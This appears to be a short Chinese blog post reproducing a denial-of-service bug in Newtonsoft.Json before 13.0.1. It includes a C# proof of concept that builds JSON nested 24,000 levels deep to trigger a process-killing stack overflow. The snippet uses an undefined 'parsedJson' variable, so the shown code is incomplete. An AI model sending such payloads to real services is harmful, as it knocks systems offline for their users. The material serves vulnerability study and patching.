.NET组件安全 - 复现Newtonsoft.Json DoS

0x01 复现

在Newtonsoft.Json的13.0.1版本之前存在一个安全漏洞,涉及处理多层嵌套表达式时的错误处理可能导致 StackOverFlow 异常或过高的CPU和RAM使用率引发拒绝服务DoS攻击。

这里触发漏洞需要非常多层的嵌套,需要数据量>10k或输入大小约为9.5MB的结构,例如创建24000次"{a:{a:{...",然后再次创建24000次"}",恶意攻击载荷代码创建实现如下.

int nRep = 24000;string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +string.Concat(Enumerable.Repeat("}", nRep));using (var ms = new MemoryStream())using (var sWriter = new StreamWriter(ms))using (var jWriter = new JsonTextWriter(sWriter)){  parsedJson.WriteTo(jWriter);}

上述代码通过调用parsedJson.WriteTo(jWriter)将JObject对象写入到JsonTextWriter,此时抛出"Process is terminated due to StackOverflowException"进程关闭的异常信息,如下图所示

.NET组件安全 - 复现Newtonsoft.Json DoS

同样JsonConvert.Serialize和JsonConvert.DeserializeObject同样也会遇到拒绝服务漏洞,如下图

.NET组件安全 - 复现Newtonsoft.Json DoS